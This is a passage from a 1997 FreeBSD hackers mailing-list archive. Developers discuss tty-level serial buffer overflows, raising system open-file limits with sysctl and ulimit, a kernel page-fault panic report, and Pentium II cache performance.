a few days ago with someone runing a web server, and he had maxfiles set at 16424 (i.e. maxusers=512) with no problems. -Dan Nelson dnelson@emsphone.com From owner-freebsd-hackers Sun Aug 3 10:23:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA03644 for hackers-outgoing; Sun, 3 Aug 1997 10:23:49 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA03621 for ; Sun, 3 Aug 1997 10:23:20 -0700 (PDT) Received: from awfulhak.org (dev.lan.awfulhak.org [10.0.1.5]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id SAA17780; Sun, 3 Aug 1997 18:22:35 +0100 (BST) Received: from dev.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.6/8.8.6) with ESMTP id SAA19779; Sun, 3 Aug 1997 18:22:34 +0100 (BST) Message-Id: <199708031722.SAA19779@awfulhak.org> X-Mailer: exmh version 2.0zeta 7/24/97 To: Charles Henrich cc: Michael Smith , tom@sdf.com, freebsd-hackers@FreeBSD.ORG Subject: Re: tty-level buffer overflows In-reply-to: Your message of "Sun, 03 Aug 1997 11:21:47 EDT." <19970803112147.21483@crh.cl.msu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 03 Aug 1997 18:22:34 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Your application is busted; data is arriving faster than your app is reading > > it, and the kernel has run out of patience and started throwing the data > > away. > > Im afraid not, the application is a software Upload, with a singly byte ack > every 2k, if the serial port cant handle that, theres a problem. I would > presume that if the buffer is full, a write() should block. It's not a case of the serial port handling it. As the OS receives data from the com port, it buffers it 'till your application does a read(). If your application isn't read()ing as fast as the data is arriving, the kernel buffers will fill. When they're full, the sio driver can't do anything with the incoming data, so it doesn't bother reading the port. When your app eventually read()s, some buffers are emptied and the kernel goes off and reads the receive buffer of the UART. It notices that the overflow bit is set, and emmits the sio overflow message. If your application really needs to run slower than the data that's being given to it, you'll need to design around it. > -Crh > > Charles Henrich Michigan State University henrich@msu.edu > > http://pilot.msu.edu/~henrich -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sun Aug 3 10:25:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA03806 for hackers-outgoing; Sun, 3 Aug 1997 10:25:38 -0700 (PDT) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA03799 for ; Sun, 3 Aug 1997 10:25:35 -0700 (PDT) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.8.5/8.8.5) with UUCP id LAA22377; Sun, 3 Aug 1997 11:25:32 -0600 (MDT) Received: from localhost (marcs@localhost) by alive.znep.com (8.7.5/8.7.3) with SMTP id LAA18997; Sun, 3 Aug 1997 11:26:42 -0600 (MDT) Date: Sun, 3 Aug 1997 11:26:41 -0600 (MDT) From: Marc Slemko To: "Andrew N. Edmond" cc: hackers@FreeBSD.ORG Subject: Re: Too many open files in System! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 3 Aug 1997, Andrew N. Edmond wrote: > I am writing a multithreaded application (using MIT pthreads 1.6) that > MUST have thousands of open files, and nearly 4000 open sockets. I'm > getting this error when I try to accept on this many sockets: > > error on accept: Too many open files in system > > I set CHILD_MAX and OPEN_MAX to 4098 in the kernel, and I can't find a way > to get accept to open any more sockets. Any ideas? You say you need 4000 sockets and thousands of files. That adds up to >4098 descriptors. Have you tried increasing CHILD_MAX beyond 4098? Well, you can just do a sysctl to change kern.maxfiles and kern.maxfilesperproc which should have the same effect. Then check your ulimit -n and increase it if necessary, eg. $ su # ulimit -Hn unlimited # ulimit -n unlimited # ulimit -n and be sure it is high enough. What version is this on? Any sample minimal source code to demonstrate the problem you are having? From owner-freebsd-hackers Sun Aug 3 11:13:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA06086 for hackers-outgoing; Sun, 3 Aug 1997 11:13:28 -0700 (PDT) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA06066; Sun, 3 Aug 1997 11:13:13 -0700 (PDT) Received: from elwing.folklore.ee (elwing.folklore.ee [172.17.2.2]) by haldjas.folklore.ee (8.8.6/8.8.4) with SMTP id VAA06295; Sun, 3 Aug 1997 21:10:49 +0300 (EEST) Date: Sun, 3 Aug 1997 21:10:49 +0300 (EEST) From: Narvi X-Sender: narvi@elwing.folklore.ee To: Dan Nelson cc: Cliff Addy , "Andrew N. Edmond" , questions@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Too many open files in System! In-Reply-To: <19970803121953.04717@dan.emsphone.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 3 Aug 1997, Dan Nelson wrote: > In the last episode (Aug 03), Cliff Addy said: > > On Sun, 3 Aug 1997, Andrew N. Edmond wrote: > > > > > error on accept: Too many open files in system > > > > > > I set CHILD_MAX and OPEN_MAX to 4098 in the kernel, and I can't > > > find a way to get accept to open any more sockets. Any ideas? > > > > This seems to be a FAQ (Frequently Asked Question). Unfortunately, > > it seems to seems to also be a NAQ (Never Answered Question). I > > myself have asked it several times and the answers, involving > > CHILD_MAX and OPEN_MAX and limits, never work. Apparently, FreeBSD > > is too primitive to handle more than a few files at once. > > > > (please realize the above is an intentional goad to get SOMEONE to > > finally answer this. I love FreeBSD :) ) > > CHILD_MAX and OPEN_MAX don't even affect this parameter; the systemwide > maximum number of files 2 * (20 + 16 * maxusers), where maxusers is in ^^^^ It might be good to be able to tune this parameter in the kernel config file easily. MAXUSERS also affects other things which might be better lefdt unchnaged in many cases. Sander There is no love, no good, no happiness and no future - all these are just illusions. > your kernel config file. See /sys/compile/*/param.c for the details. > > You can change this particular parameter on the fly though. First see > how many open files you already have; pstat -T will tell you how many > how many files open and maximum you have in your system: > > 241/3240 files > > (in my case.) If you want to raise the limit at runtime, as root run > "sysctl -w kern.maxfiles=8192" or whatever (you can put this in > rc.local if you don't want to recompile the kernel). I was talking on > IRC a few days ago with someone runing a web server, and he had > maxfiles set at 16424 (i.e. maxusers=512) with no problems. > > -Dan Nelson > dnelson@emsphone.com > From owner-freebsd-hackers Sun Aug 3 12:27:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA10743 for hackers-outgoing; Sun, 3 Aug 1997 12:27:17 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA10734 for ; Sun, 3 Aug 1997 12:27:12 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id MAA03105; Sun, 3 Aug 1997 12:26:44 -0700 (PDT) To: Cliff Addy cc: "Andrew N. Edmond" , hackers@FreeBSD.ORG Subject: Re: Too many open files in System! In-reply-to: Your message of "Sun, 03 Aug 1997 11:47:44 EDT." Date: Sun, 03 Aug 1997 12:26:43 -0700 Message-ID: <3101.870636403@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > seems to seems to also be a NAQ (Never Answered Question). I myself have > asked it several times and the answers, involving CHILD_MAX and OPEN_MAX > and limits, never work. Apparently, FreeBSD is too primitive to handle > more than a few files at once. You simply need to implement file swapping. Keep a cache of file descriptors you've opened and implement a simple LRU algorithm to close those which haven't been used for awhile - in your code which handles the failure cases for reads/writes, you then add an extra bit of glue to handle the failure case (e.g. the handle was closed) which jumps back to the cache code and asks that the file be reopened again (you'll also need to save the current file position before you close files, of course, so that you can seek back to where you left off when you "reinstate" a cache entry). Easy. > (please realize the above is an intentional goad to get SOMEONE to finally > answer this. I love FreeBSD :) ) (please realize that the above is a parody answer in response to an intentional goad to get SOMEONE to realize that we don't rise to such bait :-) Jordan From owner-freebsd-hackers Sun Aug 3 12:50:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA12415 for hackers-outgoing; Sun, 3 Aug 1997 12:50:17 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA12391; Sun, 3 Aug 1997 12:50:12 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wv6f5-0003jM-00; Sun, 3 Aug 1997 12:49:55 -0700 Date: Sun, 3 Aug 1997 12:49:54 -0700 (PDT) From: Tom Samplonius To: Cliff Addy cc: "Andrew N. Edmond" , questions@freebsd.org, hackers@freebsd.org Subject: Re: Too many open files in System! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sun, 3 Aug 1997, Cliff Addy wrote: > On Sun, 3 Aug 1997, Andrew N. Edmond wrote: > > > error on accept: Too many open files in system > > > > I set CHILD_MAX and OPEN_MAX to 4098 in the kernel, and I can't find a way > > to get accept to open any more sockets. Any ideas? > > This seems to be a FAQ (Frequently Asked Question). Unfortunately, it > seems to seems to also be a NAQ (Never Answered Question). I myself have > asked it several times and the answers, involving CHILD_MAX and OPEN_MAX > and limits, never work. Apparently, FreeBSD is too primitive to handle > more than a few files at once. Perhaps you should read the docs? Anyhow "pstat -T" will tell you the system wide number of open files, and the maximum possible number of open files. pstat is pretty standard command in Unix (it does the same thing under SunOS 4.1 for example). You need to increase maxusers in your kernel to increase the system wide maximum number of files. This too is pretty standard on many differnet Unix systems. MAX_OPEN sets the maximum number of files per user-id. Tom From owner-freebsd-hackers Sun Aug 3 13:05:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA13395 for hackers-outgoing; Sun, 3 Aug 1997 13:05:42 -0700 (PDT) Received: from gdi.uoregon.edu (cisco-ts16-line4.uoregon.edu [128.223.150.204]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA13388 for ; Sun, 3 Aug 1997 13:05:34 -0700 (PDT) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.5/8.8.5) with SMTP id NAA04915; Sun, 3 Aug 1997 13:05:27 -0700 (PDT) Date: Sun, 3 Aug 1997 13:05:27 -0700 (PDT) From: Doug White X-Sender: dwhite@localhost Reply-To: Doug White To: hackers@freebsd.org cc: quocnam.nguyen@hol.fr Subject: Re: FirstBoot trap 12 (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm going to foward this information over to our kernel developer's list (hackers@freebsd.org) for their analysis. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major Spam routed to /dev/null by Procmail | Death to Cyberpromo ---------- Forwarded message ---------- Date: Fri, 01 Aug 1997 20:34:58 +0200 From: Nguyen Quoc Nam To: Doug White Subject: Re: FirstBoot trap 12 Doug White wrote: > > On Sat, 19 Jul 1997 quocnam.nguyen@hol.fr wrote: > > > I have bought the 2.2.2 version of FreeBsd from Walnut Creek > > after the succesful installation, my computer boots, and the kernel > > always gives the trap 12 page fault, this is an error of the stack > > given by the 80x86. So i can go further than that. > > Could we get the full panic output? There should be a large amount of > data spewed along with the panic that we can use to trace the problem. > > How much memory is in the system? > > Doug White | University of Oregon > Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant > http://gladstone.uoregon.edu/~dwhite | Computer Science Major > Spam routed to /dev/null by Procmail | Death to Cyberpromo The system is a PC with : TX97-E Motherboard Cyrix P200+ 32 Mo of Ram The complete message is : Booting @ 0x100000 text=0x120000 data=0x12000 bss=0x1622c .... Fatal trap 12 : Page Fault while in kernel mode Fault virtual address = 0xefc00000 Fault Code = Supervisor read page not present Instruction pointer = 0x8:0xf01d0f03 stack pointer = 0x10:0xefbffefc frame pointer = 0x10:0xefbffefc code segment = base 0x0, limit 0xffff, type 0x1b DPL 0,pres 1,def32 1,gran 1 processor eflags = interrupt enabled, resume,IOPL=0 current process = 0() interrupt mask = net tty bio panic : page fault Thanks From owner-freebsd-hackers Sun Aug 3 13:35:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA15386 for hackers-outgoing; Sun, 3 Aug 1997 13:35:20 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA15381 for ; Sun, 3 Aug 1997 13:35:17 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA02135; Sun, 3 Aug 1997 13:34:08 -0700 From: Terry Lambert Message-Id: <199708032034.NAA02135@phaeton.artisoft.com> Subject: Re: Pentium II? To: tony@dell.com (Tony Overfield) Date: Sun, 3 Aug 1997 13:34:08 -0700 (MST) Cc: terry@lambert.org, hackers@FreeBSD.ORG In-Reply-To: <3.0.2.32.19970803041901.006a69e4@bugs.us.dell.com> from "Tony Overfield" at Aug 3, 97 04:19:01 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >I have a friend who had one until the Pentium math bugs reared their > >ugly heads (he was an IDE weenie, so he didn't care that PCI bus > >mastering failed on the thing). > > Can you remember a specific model number? If so, I can reach up onto > my shelf and pull one of them down and measure it. I doubt it, but > maybe I measured it wrong the first time around. I will get the information from him the next time we talk (if he remembers, that is). > >Unless a DMA initiated by a controller rather than the host occurs. > >Check the -hackers list archives for postings on disabling the L1 > >and L2 cache on these monstrosities... > > I tried searching -hackers ("Dell AND disabl* AND cach*") and only > found one claim (yours, BTW) that this bug exists. Interestingly, > the only reply seemed to disagree with your claim. Perhaps you can > offer some better search keywords. Yes, I can. Search for "PCI" instead of "Dell"; this was a property of the Saturn I, Neptune I, and Mecury I chipsets, not a property of only Dell computers -- any computer using those chips blew the cache line invalidation following a DMA from a PCI controller to main memory. You can search for "April 1994", which was the date (Bruce, I believe) provided for the chipmask change. It's mentioned in most of the later messages... > Don't forget than Pentium memory is 64 bits wide and 486/50 memory > is 32 bits wide. Thus, your fancy 486/50 memory bus cannot help to > explain your faster I/O claims, so maybe you've got a "magic I/O bus." Actually, PCI busses are only 32 bits wide, so the 64 bit processor memory path is totally irrelevent for bus master DMA speed. The width limitation is at the bus-to-memory interface, not at the processor. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Aug 3 13:41:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA15852 for hackers-outgoing; Sun, 3 Aug 1997 13:41:15 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA15845 for ; Sun, 3 Aug 1997 13:41:13 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA02155; Sun, 3 Aug 1997 13:37:28 -0700 From: Terry Lambert Message-Id: <199708032037.NAA02155@phaeton.artisoft.com> Subject: Re: Pentium II? To: tony@dell.com (Tony Overfield) Date: Sun, 3 Aug 1997 13:37:28 -0700 (MST) Cc: cjs@portal.ca, freebsd@atipa.com, tom@sdf.com, hackers@FreeBSD.ORG In-Reply-To: <3.0.2.32.19970803041915.006a69e4@bugs.us.dell.com> from "Tony Overfield" at Aug 3, 97 04:19:15 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >Do you have any benchmarks that indicate this? > > I think many of the benchmarks indicate this. The benchmarks show, when > run at the same clock frequency, that the Pentium II runs at speeds > comparable to the Pentium Pro, even though the L2 cache is running at > half-speed. Many folks had claimed that the Pentium II would be much > slower because of the half-speed L2 cache. This would probably be true for single-tasking OS's, or non-preemptive multitasking OS's, like Network Appliance's servers or NetWare servers. For preemptive OS's, the cache is much less important, since the locality is much less coherent. So for benchmarks on FreeBSD, I think Tony is probably on the money. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Aug 3 13:44:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA16015 for hackers-outgoing; Sun, 3 Aug 1997 13:44:03 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA15992; Sun, 3 Aug 1997 13:43:55 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA02183; Sun, 3 Aug 1997 13:43:22 -0700 From: Terry Lambert Message-Id: <199708032043.NAA02183@phaeton.artisoft.com> Subject: Re: non-blocking file i/o To: gpalmer@FreeBSD.ORG (Gary Palmer) Date: Sun, 3 Aug 1997 13:43:22 -0700 (MST) Cc: dyson@FreeBSD.ORG, hackers@FreeBSD.ORG In-Reply-To: <22934.870566300@orion.webspan.net> from "Gary Palmer" at Aug 2, 97 07:58:20 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > The AIO code is a standard (nice) way to implement database I/O. > > Will it allow the write() to complete more quickly and actually be > async, or just provide a callback to the program when the OS finally > commits the data to disk? For INN's DBZ, I don't think the callback > matters at all. The time it takes to do the write() is what is > important in this case. It should allow the write to be queued. You will have to wait for completion to verify that it actually took place. Async I/O is a concurrency boost, if your software is correctly written. If your software is not correctly written, then you will sit in an aiowait() waiting for the write completion, instead of queueing the next write, like you should be doing. Exactly what do you think an asynchronous wrute should do, if not queue the write for servicing, and return immediately? Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Aug 3 13:49:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA16266 for hackers-outgoing; Sun, 3 Aug 1997 13:49:27 -0700 (PDT) Received: from ghost.mep.ruhr-uni-bochum.de (ghost.mep.ruhr-uni-bochum.de [134.147.6.33]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA16254; Sun, 3 Aug 1997 13:49:22 -0700 (PDT) Received: (from roberte@localhost) by ghost.mep.ruhr-uni-bochum.de (8.8.4/8.8.4) id WAA06416; Sun, 3 Aug 1997 22:49:39 +0200 (MESZ) From: Robert Eckardt Message-Id: <199708032049.WAA06416@ghost.mep.ruhr-uni-bochum.de> Subject: Re: Pentium II? In-Reply-To: <199708031631.JAA01116@hub.freebsd.org> from "Jonathan M. Bresler" at "3. Aug. 97 9:28:43" To: jmb@FreeBSD.ORG (Jonathan M. Bresler) Date: Sun, 3 Aug 1997 22:49:38 +0200 (MESZ) Cc: tony@dell.com, cjs@portal.ca, freebsd@atipa.com, tom@sdf.com, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL25 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id NAA16260 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk It was Jonathan M. Bresler who wrote: [...] > what we need is a benchmark that has a fixed data access pattern > and known data set size. better yet would be one that starts with > a very small data set and grows the data set till the computer starts > using disk. a graph of the results would show the speed of the > machine accross all its memory regimes. > > http://www.scl.ameslab.gov/scl/HINT/HINT.html What about lat_mem_rd from lmbench1.0 in the ports ? I would like to see some numbers for a Pentium II. >From a comparison between a PPro (thanks to Christoph Kukulies) and a Pentium-166, I learned that the L1 in the PPro seems to work with half the speed of the P5. lat_mem_rd 8 128 on a P5-166 $Id: lat_mem_rd.c,v 1.1 1994/11/18 08:49:48 lm Exp $ $Id: mhz.c,v 1.1 1994/11/18 08:51:55 lm Exp $ "stride=128 0.00049 6 0.02930 69 0.03125 69 2.00000 135 2.50000 137 > PPRO 200/256 > > $Id: lat_mem_rd.c,v 1.1 1994/11/18 08:49:48 lm Exp $ > $Id: mhz.c,v 1.1 1994/11/18 08:51:55 lm Exp $ > "stride=128 > 0.00049 10 <-- Das überrascht mich ! > 0.02930 30 > 0.03125 30 > 2.00000 196 > 2.50000 197 I noticed this speed difference in the run-time comparison of one of my numerical programs. Robert -- Robert Eckardt \\ FreeBSD -- solutions for a large universe.(tm) RobertE@MEP.Ruhr-Uni-Bochum.de \\ What do you want to boot tomorrow ?(tm) http://WWW.MEP.Ruhr-Uni-Bochum.de/~roberte For PGP-key finger roberte@gluon.MEP.Ruhr-Uni-Bochum.de From owner-freebsd-hackers Sun Aug 3 13:54:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA16615 for hackers-outgoing; Sun, 3 Aug 1997 13:54:02 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA16610 for ; Sun, 3 Aug 1997 13:53:58 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA02210; Sun, 3 Aug 1997 13:52:52 -0700 From: Terry Lambert Message-Id: <199708032052.NAA02210@phaeton.artisoft.com> Subject: Re: tty-level buffer overflows To: henrich@crh.cl.msu.edu (Charles Henrich) Date: Sun, 3 Aug 1997 13:52:52 -0700 (MST) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <19970803010946.06461@crh.cl.msu.edu> from "Charles Henrich" at Aug 3, 97 01:09:46 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I've searched the FreeBSD archives over and over, and all I find is dozens of > complaints of this error (I too am seeing it: > > sio0: 1081 more tty-level buffer overflows (total 3960) > sio0: 526 more tty-level buffer overflows (total 4486) > sio0: 532 more tty-level buffer overflows (total 5018) > sio0: 2784 more tty-level buffer overflows (total 7802) > sio0: 9439 more tty-level buffer overflows (total 17241) > sio0: 677 more tty-level buffer overflows (total 17918) > > But no resolutions.. Because of this I cannot use the serial ports on my > FreeBSD box.. does anyone have any solutions? Use an encapsulation protocol, and you will be able to use the port. Typically, this error is the result of a badly written application servicing data from a bursty connection and/or a busted UART (like the 16550A, which does not issue an interrupt when it should, and makes the data look bursty to the kernel even when it's not). The error message means that your application is not reading from the device as fast as it should; if you have a busted UART, then you will have to be more careful than you would otherwise need to be to keep the kernel buffers emptied and read for new data from the other end of the wire. Is this your own app? Are you possibly doing character-at-a-time I/O, or lots of background processing without servicing the tty port with reads as often as it needs it? If the former, I'd suggest unsetting cbreak, use a vmin of 1, and do *big* reads into your own buffers. If this is a terminal emulator package, switch off to smaller (128 byte) read sizes for interactive use so that it doesn't appear bursty to the user, but keep using large reads for any file transfers. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Aug 3 14:01:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA17193 for hackers-outgoing; Sun, 3 Aug 1997 14:01:00 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id OAA17185 for ; Sun, 3 Aug 1997 14:00:51 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA02222; Sun, 3 Aug 1997 13:58:23 -0700 From: Terry Lambert Message-Id: <199708032058.NAA02222@phaeton.artisoft.com> Subject: Re: tty-level buffer overflows To: henrich@crh.cl.msu.edu (Charles Henrich) Date: Sun, 3 Aug 1997 13:58:23 -0700 (MST) Cc: msmith@atrad.adelaide.edu.au, tom@sdf.com, freebsd-hackers@FreeBSD.ORG In-Reply-To: <19970803112147.21483@crh.cl.msu.edu> from "Charles Henrich" at Aug 3, 97 11:21:47 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Your application is busted; data is arriving faster than your app is reading > > it, and the kernel has run out of patience and started throwing the data > > away. > > Im afraid not, the application is a software Upload, with a singly byte ack > every 2k, if the serial port cant handle that, theres a problem. I would > presume that if the buffer is full, a write() should block. Input and output buffers are seperate. If they weren't, the original "cu" program, which forked using a reader and a writer as seperate processes to create the illusion of a full duplex connection, would have failed (nb: "cu" predates the select(2) and poll(2) calls). For async I/O, it would mean that a queued read request would need to complete before a queued write request could complete (nb: this was a bad problem with VMS QIO() services for full duplex protocols on serial ports, and is generally a problem for most "multidrop" serial port board drivers for commercial UNIX implementations; for example, the Altos 2000). So anyway, your input buffer is filling up. Please see my other posting for what you can do about it. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Aug 3 14:16:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA18199 for hackers-outgoing; Sun, 3 Aug 1997 14:16:41 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id OAA18194; Sun, 3 Aug 1997 14:16:39 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id OAA02289; Sun, 3 Aug 1997 14:14:53 -0700 From: Terry Lambert Message-Id: <199708032114.OAA02289@phaeton.artisoft.com> Subject: Re: Too many open files in System! To: fbsdlist@federation.addy.com (Cliff Addy) Date: Sun, 3 Aug 1997 14:14:53 -0700 (MST) Cc: edmond@shaman.lycaeum.org, questions@FreeBSD.ORG, hackers@FreeBSD.ORG In-Reply-To: from "Cliff Addy" at Aug 3, 97 11:47:44 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > error on accept: Too many open files in system > > > > I set CHILD_MAX and OPEN_MAX to 4098 in the kernel, and I can't find a way > > to get accept to open any more sockets. Any ideas? > > This seems to be a FAQ (Frequently Asked Question). Unfortunately, it > seems to seems to also be a NAQ (Never Answered Question). I myself have > asked it several times and the answers, involving CHILD_MAX and OPEN_MAX > and limits, never work. Apparently, FreeBSD is too primitive to handle > more than a few files at once. > > (please realize the above is an intentional goad to get SOMEONE to finally > answer this. I love FreeBSD :) ) There are five limiting factors on the number of open files which a process can have: 1) There is a "soft" limit, which can be seen an raised with the csh "limit" command or the sh "ulimit" command. This is a soft quota. 2) There is a "hard soft" limit, which is set at login time and may be modified via the login.conf mechanism. This limit prevents you from raising the "soft" limit above a set maximum. 3) There is a "hard" limit, which is set at kernel compilation time, and limits the number of open files which may be placed in the per process open file table. 4) There is a "hard system" limit, which is set at kernel compilation time, and limits the number of files which may be placed in the system open file table and referred to by all process open file tables for all process simultaneously running on the system. 5) Available kernel memory for the file structures, vnodes, in core inodes, process open file table, and file buffers. It used to be that the only limits were 4 and 5. Unfortunately, a number of broken shells, like "bash", open all the files they can in order to get the last descriptor they can for use by the shell, so that shell scripts can be run without descriptor conflicts (the correct way for these shells to operate is to use a reference to a descriptor instead of a descriptor, and "dup2" the descriptor one higher each time a conflict arises; but these programs are written by students). AIX had similar problems, where "bash" (and other offenders) would open tens of thousands of files, until the per process open file table for the starting "bash" would consume all available kernel memory. Now there are quotas. #4 is about the only thing that can't be gotten rid of, once you get rid of "bash" and similar programs built-in "denial of service" attacks. It has to remain, so that it is possible to directly reference the system open file table from kmem to allow things like identd to operate (identd is needed for anal security configurations using firewall software that denies or allows on the basis of "user@host" rather than merely "host"). Identd doesn't work (or didn't work; it may have been repaired in a new release) on AIX because of this. For #5, you can always buy more RAM. To answer your question: you must increase all of these values, and if you are using select, #define FD_SETSIZE higher in your application before including . Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Aug 3 14:24:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA18652 for hackers-outgoing; Sun, 3 Aug 1997 14:24:04 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id OAA18633 for ; Sun, 3 Aug 